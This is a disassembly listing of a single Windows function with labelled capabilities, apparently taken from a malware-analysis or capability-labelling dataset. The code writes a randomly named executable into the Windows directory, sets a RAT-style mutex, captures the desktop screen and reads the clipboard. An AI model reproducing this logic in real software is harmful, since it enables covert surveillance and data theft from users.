Function at 0x4011a0
Capabilities:
Check if file exists
Check mutex on windows
Get common file path
Open clipboard
Read clipboard data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
mov eax, dword [0x435008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.004015e0
push 0x3918
push 0x43264c
push 2
call fcn.004047a0
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.00406f80
push 0x104
call fcn.00409a07
mov esi, eax
add esp, 0x1c
test esi, esi
je 0x401307
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 0x104
push esi
call ebx
mov edi, eax
test edi, edi
je 0x4012fe
cmp edi, 0x104
jb 0x40124d
xor edx, edx
mov ecx, edi
add ecx, 0x104
setb dl
neg edx
or edx, ecx
push edx
push esi
call fcn.0040e8d6
add esp, 8
test eax, eax
je 0x4012fe
lea ecx, [edi + 0x104]
mov esi, eax
push ecx
push eax
call ebx
test eax, eax
je 0x4012fe
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [ebp - 0x108]
push str._08x.exe
push eax
call fcn.00404690
add esp, 0xc
lea eax, [ebp - 0x108]
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push esi
push str.MakeRandomExePathInSystemDir:_s_n
call fcn.00401890
add esp, 8
push esi
xor bl, bl
mov dword [ebp - 0x138], 0
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x401307
push 0
lea eax, [ebp - 0x138]
push eax
push 0x400
push 0x435a70
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4012ea
cmp dword [ebp - 0x138], 0x400
mov eax, 1
movzx ebx, bl
cmove ebx, eax
test edi, edi
je 0x4012fa
cmp edi, 0xffffffff
je 0x4012fa
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x401307
push esi
call fcn.004099ec
add esp, 4
push 0x31a8
push 0x43264c
push 2
call fcn.004047a0
add esp, 0xc
push str.DC_MUTEX_4WTL4ZR
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401344
test esi, esi
je 0x401344
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00404420
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
xorps xmm0, xmm0
push 0
mov dword [ebp - 0x138], 0
movups xmmword [ebp - 0x130], xmm0
movups xmmword [ebp - 0x120], xmm0
movq qword [ebp - 0x110], xmm0
call esi
mov ebx, eax
push 1
mov dword [ebp - 0x150], ebx
call esi
mov dword [ebp - 0x14c], eax
xorps xmm0, xmm0
mov dword [ebp - 0x12c], eax
imul eax, ebx
movlpd qword [ebp - 0x120], xmm0
movlpd qword [ebp - 0x118], xmm0
movlpd qword [ebp - 0x110], xmm0
mov dword [ebp - 0x134], 0x28
add eax, eax
mov dword [ebp - 0x130], ebx
mov dword [ebp - 0x120], eax
add eax, 0x36
mov dword [ebp - 0x146], eax
mov eax, 0x4d42
mov dword [ebp - 0x128], 0x100001
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x142], 0
mov dword [ebp - 0x13e], 0x36
mov word [ebp - 0x148], ax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
mov dword [ebp - 0x154], eax
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
test edi, edi
je 0x40151a
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov esi, eax
test esi, esi
je 0x40150d
push 0
push 0
lea eax, [ebp - 0x138]
push eax
push 0
lea eax, [ebp - 0x134]
push eax
push edi
call dword [sym.imp.GDI32.dll_CreateDIBSection]
mov ebx, eax
test ebx, ebx
je 0x401506
push ebx
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push edi
push dword [ebp - 0x14c]
push dword [ebp - 0x150]
push 0
push 0
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
test eax, eax
je 0x4014ff
push dword [ebp - 0x146]
call fcn.00409a07
add esp, 4
test eax, eax
je 0x4014ff
movq xmm0, qword [ebp - 0x148]
mov ecx, dword [ebp - 0x140]
movq qword [eax], xmm0
mov dword [eax + 8], ecx
mov cx, word [ebp - 0x13c]
mov word [eax + 0xc], cx
movups xmm0, xmmword [ebp - 0x134]
movups xmmword [eax + 0xe], xmm0
movups xmm0, xmmword [ebp - 0x124]
movups xmmword [eax + 0x1e], xmm0
movq xmm0, qword [ebp - 0x114]
movq qword [eax + 0x2e], xmm0
add eax, 0x36
push dword [ebp - 0x120]
push dword [ebp - 0x138]
push eax
call fcn.00407120
push 0x432693
push 0x19895
push 2
call fcn.004048d0
add esp, 0x18
push ebx
call dword [sym.imp.GDI32.dll_DeleteObject]
push esi
call dword [sym.imp.GDI32.dll_DeleteDC]
push edi
push dword [ebp - 0x154]
call dword [sym.imp.USER32.dll_ReleaseDC]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
je 0x4015ae
push 1
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x40158d
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
test eax, eax
je 0x4015ae
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.00406f80
mov ecx, esi
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401562
sub ecx, edx
mov eax, 0x104
cmp ecx, eax
cmovb eax, ecx
push eax
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.00407120
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
lea eax, [ebp - 0x108]
push eax
push 0x432694
push 0x19895
push 2
call fcn.004048d0
add esp, 0x10
push str.pause
call fcn.004099e1
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
mov eax, 1
pop edi
pop esi
pop ebx
call fcn.00404e52
mov esp, ebp
pop ebp
ret